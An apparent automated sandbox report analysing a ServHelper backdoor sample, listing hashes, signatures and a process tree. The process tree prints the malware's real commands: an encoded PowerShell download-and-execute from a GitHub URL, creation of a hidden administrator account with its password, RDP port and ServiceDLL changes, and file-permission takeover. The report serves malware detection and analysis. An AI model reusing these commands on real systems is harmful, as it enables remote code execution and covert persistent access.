Analysis
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max time kernel
131s -
max time network
127s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
31-01-2022 23:41
Static task
static1
Behavioral task
behavioral1
Sample
a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
Resource
win10v2004-en-20220112
General
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Target
a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
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Size
4.5MB
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MD5
d9825d1424b9058fd87f5bb6e808346a
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SHA1
21980e67e2bba65b9753021e9091c2ab7c99f3e3
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SHA256
a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3
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SHA512
7359f0bc4f06f48b8a60764ba142bf7650cee52cfa8499142686c846abc8366faf6f8746573ec370eef64e6c92b5999e8e22f9521c4da91626d7d783883a0cef
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1500 powershell.exe 6 1500 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 268 takeown.exe 1708 icacls.exe 1080 icacls.exe 960 icacls.exe 760 icacls.exe 868 icacls.exe 1052 icacls.exe 1220 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a0000000125ca-103.dat upx behavioral1/files/0x00090000000125df-104.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1368 Process not Found 1368 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 760 icacls.exe 868 icacls.exe 1052 icacls.exe 1220 icacls.exe 268 takeown.exe 1708 icacls.exe 1080 icacls.exe 960 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RLTM6XRWF4RBA2CAEEXC.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f071eba30417d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1304 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1324 powershell.exe 1204 powershell.exe 1328 powershell.exe 1696 powershell.exe 1324 powershell.exe 1324 powershell.exe 1324 powershell.exe 1500 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 1368 Process not Found 1368 Process not Found 1368 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1324 powershell.exe Token: SeDebugPrivilege 1204 powershell.exe Token: SeDebugPrivilege 1328 powershell.exe Token: SeDebugPrivilege 1696 powershell.exe Token: SeRestorePrivilege 1080 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1956 WMIC.exe Token: SeIncreaseQuotaPrivilege 1956 WMIC.exe Token: SeAuditPrivilege 1956 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1956 WMIC.exe Token: SeIncreaseQuotaPrivilege 1956 WMIC.exe Token: SeAuditPrivilege 1956 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 884 WMIC.exe Token: SeIncreaseQuotaPrivilege 884 WMIC.exe Token: SeAuditPrivilege 884 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 884 WMIC.exe Token: SeIncreaseQuotaPrivilege 884 WMIC.exe Token: SeAuditPrivilege 884 WMIC.exe Token: SeDebugPrivilege 1500 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 604 wrote to memory of 1324 604 a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe 27 PID 604 wrote to memory of 1324 604 a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe 27 PID 604 wrote to memory of 1324 604 a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe 27 PID 1324 wrote to memory of 1276 1324 powershell.exe 29 PID 1324 wrote to memory of 1276 1324 powershell.exe 29 PID 1324 wrote to memory of 1276 1324 powershell.exe 29 PID 1276 wrote to memory of 1352 1276 csc.exe 30 PID 1276 wrote to memory of 1352 1276 csc.exe 30 PID 1276 wrote to memory of 1352 1276 csc.exe 30 PID 1324 wrote to memory of 1204 1324 powershell.exe 31 PID 1324 wrote to memory of 1204 1324 powershell.exe 31 PID 1324 wrote to memory of 1204 1324 powershell.exe 31 PID 1324 wrote to memory of 1328 1324 powershell.exe 33 PID 1324 wrote to memory of 1328 1324 powershell.exe 33 PID 1324 wrote to memory of 1328 1324 powershell.exe 33 PID 1324 wrote to memory of 1696 1324 powershell.exe 35 PID 1324 wrote to memory of 1696 1324 powershell.exe 35 PID 1324 wrote to memory of 1696 1324 powershell.exe 35 PID 1324 wrote to memory of 268 1324 powershell.exe 38 PID 1324 wrote to memory of 268 1324 powershell.exe 38 PID 1324 wrote to memory of 268 1324 powershell.exe 38 PID 1324 wrote to memory of 1708 1324 powershell.exe 39 PID 1324 wrote to memory of 1708 1324 powershell.exe 39 PID 1324 wrote to memory of 1708 1324 powershell.exe 39 PID 1324 wrote to memory of 1080 1324 powershell.exe 40 PID 1324 wrote to memory of 1080 1324 powershell.exe 40 PID 1324 wrote to memory of 1080 1324 powershell.exe 40 PID 1324 wrote to memory of 960 1324 powershell.exe 41 PID 1324 wrote to memory of 960 1324 powershell.exe 41 PID 1324 wrote to memory of 960 1324 powershell.exe 41 PID 1324 wrote to memory of 760 1324 powershell.exe 42 PID 1324 wrote to memory of 760 1324 powershell.exe 42 PID 1324 wrote to memory of 760 1324 powershell.exe 42 PID 1324 wrote to memory of 868 1324 powershell.exe 43 PID 1324 wrote to memory of 868 1324 powershell.exe 43 PID 1324 wrote to memory of 868 1324 powershell.exe 43 PID 1324 wrote to memory of 1052 1324 powershell.exe 44 PID 1324 wrote to memory of 1052 1324 powershell.exe 44 PID 1324 wrote to memory of 1052 1324 powershell.exe 44 PID 1324 wrote to memory of 1220 1324 powershell.exe 45 PID 1324 wrote to memory of 1220 1324 powershell.exe 45 PID 1324 wrote to memory of 1220 1324 powershell.exe 45 PID 1324 wrote to memory of 1632 1324 powershell.exe 46 PID 1324 wrote to memory of 1632 1324 powershell.exe 46 PID 1324 wrote to memory of 1632 1324 powershell.exe 46 PID 1324 wrote to memory of 1304 1324 powershell.exe 47 PID 1324 wrote to memory of 1304 1324 powershell.exe 47 PID 1324 wrote to memory of 1304 1324 powershell.exe 47 PID 1324 wrote to memory of 1320 1324 powershell.exe 48 PID 1324 wrote to memory of 1320 1324 powershell.exe 48 PID 1324 wrote to memory of 1320 1324 powershell.exe 48 PID 1324 wrote to memory of 1064 1324 powershell.exe 49 PID 1324 wrote to memory of 1064 1324 powershell.exe 49 PID 1324 wrote to memory of 1064 1324 powershell.exe 49 PID 1064 wrote to memory of 1800 1064 net.exe 50 PID 1064 wrote to memory of 1800 1064 net.exe 50 PID 1064 wrote to memory of 1800 1064 net.exe 50 PID 1324 wrote to memory of 2036 1324 powershell.exe 51 PID 1324 wrote to memory of 2036 1324 powershell.exe 51 PID 1324 wrote to memory of 2036 1324 powershell.exe 51 PID 2036 wrote to memory of 824 2036 cmd.exe 52 PID 2036 wrote to memory of 824 2036 cmd.exe 52 PID 2036 wrote to memory of 824 2036 cmd.exe 52 PID 824 wrote to memory of 1700 824 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe"C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:604 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qjdeca6i.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES733.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC722.tmp"4⤵PID:1352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1204
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1328
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:268
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1708
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1080
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:960
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:760
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:868
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1052
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1220
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1632
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1304
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1320
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1800
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1700
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1312
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1188
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1028
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C:\Windows\system32\net.exenet start TermService5⤵PID:1704
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1120
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1252
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1008
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1416
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1976
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1956
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc yrP5BRJo /add1⤵PID:536
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc yrP5BRJo /add2⤵PID:1764
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc yrP5BRJo /add3⤵PID:2020
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1756
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1252
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:268
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD1⤵PID:1900
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD2⤵PID:1040
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD3⤵PID:868
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1156
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1384
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:640
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc yrP5BRJo1⤵PID:1064
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc yrP5BRJo2⤵PID:1244
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc yrP5BRJo3⤵PID:1800
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1960
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1956
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2016
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:884
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:808
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500
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